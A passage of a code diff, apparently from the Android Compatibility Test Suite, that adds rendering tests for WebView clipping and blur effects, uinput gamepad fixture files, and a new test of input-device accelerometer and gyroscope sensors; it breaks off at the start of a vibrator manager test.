+ private external fun nAdvanceFrame(decoder: Long): Int
+ private external fun nRewind(decoder: Long): Int
+ private external fun nSetUnpremultipliedRequired(decoder: Long, required: Boolean): Int
+ private external fun nSetAndroidBitmapFormat(decoder: Long, format: Int): Int
+ private external fun nSetDataSpace(decoder: Long, format: Int): Int
+ private external fun nCreateFrameInfo(): Long
+ private external fun nDeleteFrameInfo(frameInfo: Long)
+ private external fun nGetFrameInfo(decoder: Long, frameInfo: Long): Int
+ private external fun nTestNullFrameInfo(assets: AssetManager, name: String)
+ private external fun nGetDuration(frameInfo: Long): Long
+ private external fun nTestGetFrameRect(
+ frameInfo: Long,
+ expectedLeft: Int,
+ expectedTop: Int,
+ expectedRight: Int,
+ expectedBottom: Int
+ )
+ private external fun nGetFrameAlpha(frameInfo: Long): Boolean
+ private external fun nGetAlpha(decoder: Long): Boolean
+ private external fun nGetDisposeOp(frameInfo: Long): Int
+ private external fun nGetBlendOp(frameInfo: Long): Int
+ private external fun nGetRepeatCount(decoder: Long): Int
+ private external fun nSetHandleDisposePrevious(decoder: Long, handle: Boolean)
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index f42b004..e409cbf 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -623,16 +623,46 @@
@LargeTest
@Test
- public void testWebViewWithLayerAndComplexClip() {
+ public void testWebViewOnHWLayerAndComplexAntiAliasedClip() {
if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
return; // no WebView to run test on
}
+
CountDownLatch hwFence = new CountDownLatch(1);
createTest()
// golden client - draw a simple non-AA circle
.addCanvasClient((canvas, width, height) -> {
Paint paint = new Paint();
- paint.setAntiAlias(false);
+ paint.setAntiAlias(true);
+ paint.setColor(Color.BLUE);
+ canvas.drawOval(0, 0, width, height, paint);
+ }, false)
+ // verify against solid color webview, clipped to its parent oval
+ .addLayout(R.layout.circle_clipped_webview, (ViewInitializer) view -> {
+ FrameLayout layout = view.requireViewById(R.id.circle_clip_frame_layout);
+ WebView webview = view.requireViewById(R.id.webview);
+ // Promote the webview onto its own layer
+ webview.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+ WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+ helper.loadData("<body style=\"background-color:blue\">");
+
+ }, true, hwFence)
+ .runWithComparer(new MSSIMComparer(0.98));
+ }
+
+ @LargeTest
+ @Test
+ public void testWebViewWithParentLayerAndComplexClip() {
+ if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+ return; // no WebView to run test on
+ }
+
+ CountDownLatch hwFence = new CountDownLatch(1);
+ createTest()
+ // golden client - draw a simple AA circle
+ .addCanvasClient((canvas, width, height) -> {
+ Paint paint = new Paint();
+ paint.setAntiAlias(true);
paint.setColor(Color.BLUE);
canvas.drawOval(0, 0, width, height, paint);
}, false)
@@ -646,6 +676,7 @@
helper.loadData("<body style=\"background-color:blue\">");
}, true, hwFence)
- .runWithComparer(new MSSIMComparer(0.95));
+ // WebView is not on its own layer, so the parent clip may not be AA
+ .runWithComparer(new MSSIMComparer(0.93));
}
}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
index 92bc5ac..dca536f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
@@ -26,6 +26,7 @@
import android.graphics.BlendModeColorFilter;
import android.graphics.Canvas;
import android.graphics.Color;
+import android.graphics.ColorFilter;
import android.graphics.ColorMatrix;
import android.graphics.ColorMatrixColorFilter;
import android.graphics.Paint;
@@ -34,12 +35,18 @@
import android.graphics.RenderEffect;
import android.graphics.RenderNode;
import android.graphics.Shader;
+import android.graphics.drawable.Drawable;
+import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.BlurPixelVerifier;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.bitmapverifiers.RectVerifier;
import android.uirendering.cts.bitmapverifiers.RegionVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.view.View;
+import android.widget.FrameLayout;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
import androidx.test.filters.MediumTest;
import androidx.test.runner.AndroidJUnit4;
@@ -581,6 +588,73 @@
}
@Test
+ public void testViewRenderNodeBlurEffect() {
+ final int blurRadius = 10;
+ final Rect fullBounds = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
+ final Rect insetBounds = new Rect(blurRadius, blurRadius, TEST_WIDTH - blurRadius,
+ TEST_HEIGHT - blurRadius);
+
+ final Rect unblurredBounds = new Rect(insetBounds);
+ unblurredBounds.inset(blurRadius, blurRadius);
+ createTest()
+ .addLayout(R.layout.frame_layout, (view) -> {
+ FrameLayout root = view.findViewById(R.id.frame_layout);
+ View innerView = new View(view.getContext());
+ innerView.setLayoutParams(
+ new FrameLayout.LayoutParams(TEST_WIDTH, TEST_HEIGHT));
+ innerView.setBackground(new TestDrawable());
+ root.addView(innerView);
+ }, true)
+ .runWithVerifier(
+ new RegionVerifier()
+ .addVerifier(
+ unblurredBounds,
+ new ColorVerifier(Color.BLUE))
+ .addVerifier(
+ fullBounds,
+ new BlurPixelVerifier(Color.BLUE, Color.WHITE)
+ )
+ );
+ }
+
+ private static class TestDrawable extends Drawable {
+
+ private final Paint mPaint = new Paint();
+
+ @Override
+ public void draw(@NonNull Canvas canvas) {
+ mPaint.setColor(Color.WHITE);
+
+ Rect rect = getBounds();
+ canvas.drawRect(rect, mPaint);
+ mPaint.setColor(Color.BLUE);
+
+ canvas.drawRect(
+ 10,
+ 10,
+ rect.right - 10,
+ rect.bottom - 10,
+ mPaint
+ );
+ }
+
+ @Override
+ public void setAlpha(int alpha) {
+ // No-op
+ }
+
+ @Override
+ public void setColorFilter(@Nullable ColorFilter colorFilter) {
+ // No-op
+ }
+
+ @Override
+ public int getOpacity() {
+ return 0;
+ }
+ }
+
+ @Test
public void testBlurRenderEffect() {
final int blurRadius = 10;
final Rect fullBounds = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt b/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt
new file mode 100644
index 0000000..0c4701f
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt
@@ -0,0 +1,26 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.util
+
+/**
+ * Helper to use ThrowNew from JNI to throw an AssertionError.
+ *
+ * ThrowNew calls <init>(String), but that constructor for AssertionError is
+ * private. In this case, there is no Throwable cause, so simplify the native
+ * code.
+ */
+class AssertionError(msg: String) : java.lang.AssertionError(msg, null)
diff --git a/tests/tests/view/res/raw/gamepad_sensors_register.json b/tests/tests/view/res/raw/gamepad_sensors_register.json
new file mode 100644
index 0000000..abd0e5f
--- /dev/null
+++ b/tests/tests/view/res/raw/gamepad_sensors_register.json
@@ -0,0 +1,68 @@
+{
+ "id": 1,
+ "type": "uinput",
+ "command": "register",
+ "name": "Gamepad with Motion Sensors (USB Test)",
+ "vid": 0x054c,
+ "pid": 0x05c4,
+ "bus": "usb",
+ "configuration":[
+ {"type":100, "data":[1, 3, 4, 21]}, // UI_SET_EVBIT : EV_KEY EV_ABS EV_MSC and EV_FF
+ {"type":101, "data":[11, 2, 3, 4]}, // UI_SET_KEYBIT : KEY_0 KEY_1 KEY_2 KEY_3
+ {"type":107, "data":[80]}, // UI_SET_FFBIT : FF_RUMBLE
+ {"type":110, "data":[6]}, // UI_SET_PROP : INPUT_PROP_ACCELEROMETER
+ {"type":104, "data":[5]}, // UI_SET_MSCBIT : MSC_TIMESTAMP
+ {"type":103, "data":[0, 1, 2, 3, 4, 5]} // UI_SET_ABSBIT : ABS_X/Y/Z/RX/RY/RZ
+ ],
+ "ff_effects_max" : 1,
+ "abs_info": [
+ {"code":0, "info": { // ABS_X
+ "value": 100,
+ "minimum": -32768,
+ "maximum": 32768,
+ "fuzz": 16,
+ "flat": 0,
+ "resolution": 8192
+ }},
+ {"code":1, "info": { // ABS_Y
+ "value": 100,
+ "minimum": -32768,
+ "maximum": 32768,
+ "fuzz": 16,
+ "flat": 0,
+ "resolution": 8192
+ }},
+ {"code":2, "info": { // ABS_Z
+ "value": 100,
+ "minimum": -32768,
+ "maximum": 32768,
+ "fuzz": 16,
+ "flat": 0,
+ "resolution": 8192
+ }},
+ {"code":3, "info": { // ABS_RX
+ "value": 100,
+ "minimum": -2097152,
+ "maximum": 2097152,
+ "fuzz": 16,
+ "flat": 0,
+ "resolution": 1024
+ }},
+ {"code":4, "info": { // ABS_RY
+ "value": 100,
+ "minimum": -2097152,
+ "maximum": 2097152,
+ "fuzz": 16,
+ "flat": 0,
+ "resolution": 1024
+ }},
+ {"code":5, "info": { // ABS_RZ
+ "value": 100,
+ "minimum": -2097152,
+ "maximum": 2097152,
+ "fuzz": 16,
+ "flat": 0,
+ "resolution": 1024
+ }}
+ ]
+}
diff --git a/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json b/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json
new file mode 100644
index 0000000..3e3f9db
--- /dev/null
+++ b/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json
@@ -0,0 +1,21 @@
+[
+ {
+ "id": 1,
+ "durations" : [1000],
+ "amplitudes":
+ {
+ "0" : [192],
+ "1" : [192]
+ }
+ },
+
+ {
+ "id": 1,
+ "durations" : [2000, 2000, 2000, 2000, 2000],
+ "amplitudes":
+ {
+ "0" : [16, 32, 64, 128, 255],
+ "1" : [255, 128 ,32, 32, 64]
+ }
+ }
+]
diff --git a/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java b/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java
index f31b16e..edfb312 100644
--- a/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java
@@ -25,22 +25,17 @@
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
-import android.app.Instrumentation;
import android.content.ClipData;
import android.content.ClipDescription;
-import android.content.Context;
import android.net.Uri;
import android.view.ContentInfo;
import android.view.OnReceiveContentListener;
import android.view.View;
-import androidx.test.InstrumentationRegistry;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
import androidx.test.rule.ActivityTestRule;
-import com.android.compatibility.common.util.PollingCheck;
-
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
@@ -56,17 +51,12 @@
public ActivityTestRule<ViewTestCtsActivity> mActivityRule = new ActivityTestRule<>(
ViewTestCtsActivity.class);
- private Instrumentation mInstrumentation;
- private Context mContext;
private ViewTestCtsActivity mActivity;
private OnReceiveContentListener mReceiver;
@Before
public void before() {
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
- mContext = mInstrumentation.getTargetContext();
mActivity = mActivityRule.getActivity();
- PollingCheck.waitFor(mActivity::hasWindowFocus);
mReceiver = mock(OnReceiveContentListener.class);
}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java
new file mode 100644
index 0000000..0f4580d
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java
@@ -0,0 +1,479 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.hardware.Sensor;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorEvent;
+import android.hardware.SensorEventListener;
+import android.hardware.SensorManager;
+import android.hardware.input.InputManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.MemoryFile;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.InputDevice;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test {@link android.view.InputDevice} sensor functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceSensorManagerTest {
+ private static final String TAG = "InputDeviceSensorManagerTest";
+ private static final int SENSOR_VEC_LENGTH = 3;
+ private static final int EV_SYN = 0;
+ private static final int EV_ABS = 3;
+ private static final int EV_MSC = 4;
+ private static final int ABS_X = 0;
+ private static final int ABS_Y = 1;
+ private static final int ABS_Z = 2;
+ private static final int ABS_RX = 3;
+ private static final int ABS_RY = 4;
+ private static final int ABS_RZ = 5;
+ private static final int MSC_TIMESTAMP = 5;
+ // The time interval for between sensor time events, in unit of micro seconds.
+ private static final int TIME_INTERVAL_US = 10000;
+ // Requested sensor listening interval, to pass to registerListener API,
+ // in unit of milli seconds.
+ private static final int SAMPLING_INTERVAL_US = 20000;
+ // The Gyroscope sensor hardware resolution of 1 unit, degree/second.
+ private static final float GYRO_RESOLUTION = 1024.0f;
+ // The Accelerometer sensor hardware resolution of 1 unit, per g.
+ private static final float ACCEL_RESOLUTION = 8192.0f;
+ // Numbers of sensor samples to run.
+ private static final int RUNNING_SAMPLES = 100;
+ // Sensor raw value increment step for each sensor event.
+ private static final int SAMPLE_STEP = 925;
+ // Tolerance of sensor event values.
+ private static final float TOLERANCE = 0.01f;
+ // Linux accelerometer unit is per g, Android unit is m/s^2
+ private static final float GRAVITY_MS2_UNIT = 9.80665f;
+ // Linux gyroscope unit is degree/second, Android unit is radians/second
+ private static final float DEGREE_RADIAN_UNIT = 0.0174533f;
+ // Share memory size
+ private static final int SHARED_MEMORY_SIZE = 8192;
+
+ private static final int CONNECTION_TIMEOUT_SEC = 3;
+
+ private InputManager mInputManager;
+ private UinputDevice mUinputDevice;
+ private InputJsonParser mParser;
+ private Instrumentation mInstrumentation;
+ private SensorManager mSensorManager;
+ private HandlerThread mSensorThread = null;
+ private Handler mSensorHandler = null;
+ private int mDeviceId;
+ private final Object mLock = new Object();
+
+ private class Callback extends SensorManager.DynamicSensorCallback {
+ private Sensor mSensor;
+ private CountDownLatch mConnectLatch = new CountDownLatch(1);
+ private CountDownLatch mDisconnectLatch = new CountDownLatch(1);
+
+ Callback(@NonNull Sensor sensor) {
+ mSensor = sensor;
+ }
+
+ @Override
+ public void onDynamicSensorConnected(Sensor sensor) {
+ synchronized (mSensor) {
+ if (mSensor.getId() == sensor.getId()) {
+ mConnectLatch.countDown();
+ }
+ }
+ }
+
+ @Override
+ public void onDynamicSensorDisconnected(Sensor sensor) {
+ synchronized (mSensor) {
+ if (mSensor.getId() == sensor.getId()) {
+ mDisconnectLatch.countDown();
+ }
+ }
+ }
+
+ public boolean waitForConnection() {
+ try {
+ return mConnectLatch.await(CONNECTION_TIMEOUT_SEC, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+ return false;
+ }
+
+ public void assertNoDisconnection() {
+ assertEquals(1, mDisconnectLatch.getCount());
+ }
+ }
+
+ private class InputTestSensorEventListener implements SensorEventListener {
+ private CountDownLatch mAccuracyLatch;
+ private int mAccuracy = SensorManager.SENSOR_STATUS_NO_CONTACT;
+ private final BlockingQueue<SensorEvent> mEvents = new LinkedBlockingQueue<>();
+ InputTestSensorEventListener() {
+ super();
+ mAccuracyLatch = new CountDownLatch(1);
+ }
+
+ public SensorEvent waitForSensorEvent() {
+ try {
+ return mEvents.poll(5, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ fail("unexpectedly interrupted while waiting for SensorEvent");
+ return null;
+ }
+ }
+
+ public int waitForAccuracyChanged() {
+ boolean ret;
+ try {
+ ret = mAccuracyLatch.await(5, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ ret = false;
+ Thread.currentThread().interrupt();
+ }
+
+ synchronized (mLock) {
+ return mAccuracy;
+ }
+ }
+
+ @Override
+ public void onSensorChanged(SensorEvent event) {
+ synchronized (mLock) {
+ try {
+ mEvents.put(event);
+ } catch (InterruptedException ex) {
+ fail("interrupted while adding a SensorEvent to the queue");
+ }
+ }
+ }
+
+ @Override
+ public void onAccuracyChanged(Sensor sensor, int accuracy) {
+ synchronized (mLock) {
+ mAccuracy = accuracy;
+ }
+ if (mAccuracyLatch != null) {
+ mAccuracyLatch.countDown();
+ }
+ }
+ }
+
+ /**
+ * Get a SensorManager object from input device with specified Vendor Id and Product Id.
+ * @param vid Vendor Id
+ * @param pid Product Id
+ * @return SensorManager object in specified InputDevice
+ */
+ private SensorManager getSensorManager(int vid, int pid) {
+ final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+ for (int inputDeviceId : inputDeviceIds) {
+ final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+ if (inputDevice.getVendorId() == vid && inputDevice.getProductId() == pid) {
+ SensorManager sensorManager = inputDevice.getSensorManager();
+ assertNotNull("getSensorManager returns null", sensorManager);
+ Log.i(TAG, "Input device: " + inputDeviceId + " VendorId: "
+ + inputDevice.getVendorId() + " ProductId: " + inputDevice.getProductId());
+ return sensorManager;
+ }
+ }
+ return null;
+ }
+
+ private void bumpSensorsData(int[] sensorVector) {
+ final int step = SAMPLE_STEP;
+ for (int i = 0; i < sensorVector.length; i++) {
+ sensorVector[i] = sensorVector[i] + step;
+ }
+ }
+
+ private float[] getExpectedSensorValue(Sensor sensor, int[] dataVector) {
+ float[] sensorValues = new float[dataVector.length];
+ for (int i = 0; i < dataVector.length; i++) {
+ switch (sensor.getType()) {
+ case Sensor.TYPE_ACCELEROMETER:
+ sensorValues[i] = ((float) dataVector[i]) / ACCEL_RESOLUTION
+ * GRAVITY_MS2_UNIT;
+ break;
+ case Sensor.TYPE_GYROSCOPE:
+ sensorValues[i] = ((float) dataVector[i]) / GYRO_RESOLUTION
+ * DEGREE_RADIAN_UNIT;
+ break;
+ default:
+ break;
+ }
+ }
+ return sensorValues;
+ }
+
+ private void assertSensorDataEquals(float[] expected, float[] received) {
+ assertEquals("expected sensor data length is not same as received sensor data length",
+ expected.length, received.length);
+ for (int i = 0; i < expected.length; i++) {
+ assertEquals("Data index[" + i + "] not match", expected[i], received[i], TOLERANCE);
+ }
+ }
+
+ /**
+ * Simulate a sensor data sample from device.
+ * @param sensor sensor object for data to be injected
+ * @param dataVec sensor data vector
+ * @param timestamp sensor data timestamp and sync to be injected, 0 for no timestamp and sync
+ */
+ private void injectSensorSample(Sensor sensor, int[] dataVec, int timestamp) {
+ assertEquals("Sensor sample size is wrong", dataVec.length, SENSOR_VEC_LENGTH);
+
+ switch (sensor.getType()) {
+ case Sensor.TYPE_ACCELEROMETER: {
+ int[] evSensorSample = new int[] {
+ EV_ABS, ABS_X, dataVec[0],
+ EV_ABS, ABS_Y, dataVec[1],
+ EV_ABS, ABS_Z, dataVec[2],
+ };
+ mUinputDevice.injectEvents(Arrays.toString(evSensorSample));
+ break;
+ }
+ case Sensor.TYPE_GYROSCOPE: {
+ int[] evSensorSample = new int[] {
+ EV_ABS, ABS_RX, dataVec[0],
+ EV_ABS, ABS_RY, dataVec[1],
+ EV_ABS, ABS_RZ, dataVec[2],
+ };
+ mUinputDevice.injectEvents(Arrays.toString(evSensorSample));
+ break;
+ }
+ default:
+ return;
+ }
+ if (timestamp > 0) {
+ int[] evTimestamp = new int[] {
+ EV_MSC, MSC_TIMESTAMP, timestamp,
+ EV_SYN, 0, 0 };
+ mUinputDevice.injectEvents(Arrays.toString(evTimestamp));
+ }
+ }
+
+ private void testSensorManagerListenerForSensors(Sensor[] sensors) {
+ final InputTestSensorEventListener[] listeners =
+ new InputTestSensorEventListener[sensors.length];
+ int[] dataVector = new int[]{2535, -2398, 31345};
+ long[] lastTimestamp = new long[sensors.length];
+
+ for (int i = 0; i < sensors.length; i++) {
+ listeners[i] = new InputTestSensorEventListener();
+ assertTrue(mSensorManager.registerListener(listeners[i], sensors[i],
+ SensorManager.SENSOR_DELAY_GAME, mSensorHandler));
+ }
+
+ long startTimestamp = SystemClock.elapsedRealtimeNanos();
+ for (int count = 0; count < RUNNING_SAMPLES; count++) {
+ bumpSensorsData(dataVector);
+ // when the listener's sampling interval is longer than sensor native sample interval,
+ // the listener get report for multiple sensor samples, inject multiple samples so
+ // sensor listener can get an event callback.
+ for (int hwTimestamp = 100000;
+ hwTimestamp - 100000 < SAMPLING_INTERVAL_US;
+ hwTimestamp += TIME_INTERVAL_US) {
+ // Inject sensor samples
+ for (int i = 0; i < sensors.length; i++) {
+ if (i == sensors.length - 1) {
+ injectSensorSample(sensors[i], dataVector, hwTimestamp);
+ } else {
+ injectSensorSample(sensors[i], dataVector, 0 /* timestamp */);
+ }
+ }
+ SystemClock.sleep(TIME_INTERVAL_US / 1000);
+ }
+ // Check the sensor listener events for each sensor
+ for (int i = 0; i < sensors.length; i++) {
+ SensorEvent e = listeners[i].waitForSensorEvent();
+ assertNotNull("Sensor event for count " + count + " is null", e);
+ // Verify timestamp monotonically increasing
+ if (lastTimestamp[i] != 0) {
+ final long diff = e.timestamp - lastTimestamp[i];
+ assertTrue("Sensor timestamp " + e.timestamp + " not monotonically increasing!"
+ + "last " + lastTimestamp[i], diff > TIME_INTERVAL_US);
+ }
+ lastTimestamp[i] = e.timestamp;
+ // Verify sensor timestamp greater than start Android time
+ assertTrue("Sensor timestamp smaller than starting elapsedRealtimeNanos",
+ startTimestamp < e.timestamp);
+ assertSensorDataEquals(getExpectedSensorValue(sensors[i], dataVector),
+ e.values);
+ }
+ // Check sensor onAccuracyChanged events are called
+ for (int i = 0; i < sensors.length; i++) {
+ assertEquals(SensorManager.SENSOR_STATUS_ACCURACY_HIGH,
+ listeners[i].waitForAccuracyChanged());
+ }
+ }
+
+ for (int i = 0; i < sensors.length; i++) {
+ mSensorManager.unregisterListener(listeners[i]);
+ }
+ }
+
+ private Sensor getDefaultSensor(int sensorType) {
+ Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+ assertNotNull(sensor);
+ assertEquals(sensor.getType(), sensorType);
+ return sensor;
+ }
+
+ @Before
+ public void setup() {
+ final int resourceId = R.raw.gamepad_sensors_register;
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+ assertNotNull(mInputManager);
+
+ mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+ mDeviceId = mParser.readDeviceId(resourceId);
+ String registerCommand = mParser.readRegisterCommand(resourceId);
+ mUinputDevice = new UinputDevice(mInstrumentation, mDeviceId, registerCommand);
+ mSensorManager = getSensorManager(mParser.readVendorId(resourceId),
+ mParser.readProductId(resourceId));
+ assertNotNull(mSensorManager);
+
+ mSensorThread = new HandlerThread("SensorThread");
+ mSensorThread.start();
+ mSensorHandler = new Handler(mSensorThread.getLooper());
+ }
+
+ @After
+ public void tearDown() {
+ mUinputDevice.close();
+ }
+
+ @Test
+ public void testAccelerometerSensorListener() {
+ // Test Accelerometer sensor
+ final Sensor[] sensors = new Sensor[]{
+ getDefaultSensor(Sensor.TYPE_ACCELEROMETER)
+ };
+ testSensorManagerListenerForSensors(sensors);
+ }
+
+ @Test
+ public void testGyroscopeSensorListener() {
+ // Test Gyroscope sensor
+ final Sensor[] sensors = new Sensor[]{
+ getDefaultSensor(Sensor.TYPE_GYROSCOPE)
+ };
+ testSensorManagerListenerForSensors(sensors);
+ }
+
+ @Test
+ public void testAllSensorsListeners() {
+ final Sensor[] sensors = new Sensor[]{
+ getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
+ getDefaultSensor(Sensor.TYPE_GYROSCOPE)
+ };
+ testSensorManagerListenerForSensors(sensors);
+ }
+
+ @Test
+ public void testSupportedSensorTypes() {
+ final List<Integer> types = Arrays.asList(Sensor.TYPE_ACCELEROMETER,
+ Sensor.TYPE_GYROSCOPE);
+ for (int i = 0; i < types.size(); i++) {
+ List<Sensor> sensors = mSensorManager.getSensorList(types.get(i));
+ assertEquals("Sensor type " + types.get(i), 1L, sensors.size());
+ }
+ }
+
+ @Test
+ public void testUnsupportedSensorTypes() {
+ final List<Integer> supportedTypes = Arrays.asList(Sensor.TYPE_ACCELEROMETER,
+ Sensor.TYPE_GYROSCOPE);
+
+ for (int type = Sensor.TYPE_ACCELEROMETER; type <= Sensor.TYPE_HINGE_ANGLE; type++) {
+ if (!supportedTypes.contains(type)) {
+ List<Sensor> sensors = mSensorManager.getSensorList(type);
+ assertEquals(0L, sensors.size());
+ assertNull(mSensorManager.getDefaultSensor(type));
+ }
+ }
+ }
+
+ @Test
+ public void testDirectChannelAPIs() {
+ // Direct channel is not supported by input device sensor manager.
+ try {
+ final MemoryFile memFile = new MemoryFile("Sensor Channel", SHARED_MEMORY_SIZE);
+ SensorDirectChannel channel = mSensorManager.createDirectChannel(memFile);
+ // Expect returning a null channel when calling the API
+ assertNull(channel);
+ } catch (IOException e) {
+ fail("IOException when allocating MemoryFile");
+ }
+ }
+
+ @Test
+ public void testDynamicSensorAPIs() {
+ final List<Sensor> dynamicAccelerometers =
+ mSensorManager.getDynamicSensorList(Sensor.TYPE_ACCELEROMETER);
+ // Input device sensor manager doesn't expose any dynamic sensor
+ assertEquals(0, dynamicAccelerometers.size());
+
+ // Attempt to register regular sensor as dynamic sensor
+ final Sensor accelerometer = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
+ final Callback callback = new Callback(accelerometer);
+ mSensorManager.registerDynamicSensorCallback(callback);
+ // Dynamic call back is not supported, not connection or disconnection should happen.
+ assertFalse(callback.waitForConnection());
+ callback.assertNoDisconnection();
+ // Unregister the dynamic sensor callback shouldn't throw any exception.
+ mSensorManager.unregisterDynamicSensorCallback(callback);
+ // The isDynamicSensorDiscoverySupported API should returns false.
+ assertFalse(mSensorManager.isDynamicSensorDiscoverySupported());
+
+ }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java
new file mode 100644
index 0000000..202bb76
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java
@@ -0,0 +1,265 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.os.CombinedVibrationEffect;
+import android.os.SystemClock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.os.VibratorManager;
+import android.util.Log;
+import android.view.InputDevice;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+import com.android.cts.input.UinputResultData;
+import com.android.cts.input.UinputVibratorManagerTestData;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test {@link android.view.InputDevice} vibrator manager functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceVibratorManagerTest {
+ private static final String TAG = "InputDeviceVibratorTest";
+ private InputManager mInputManager;
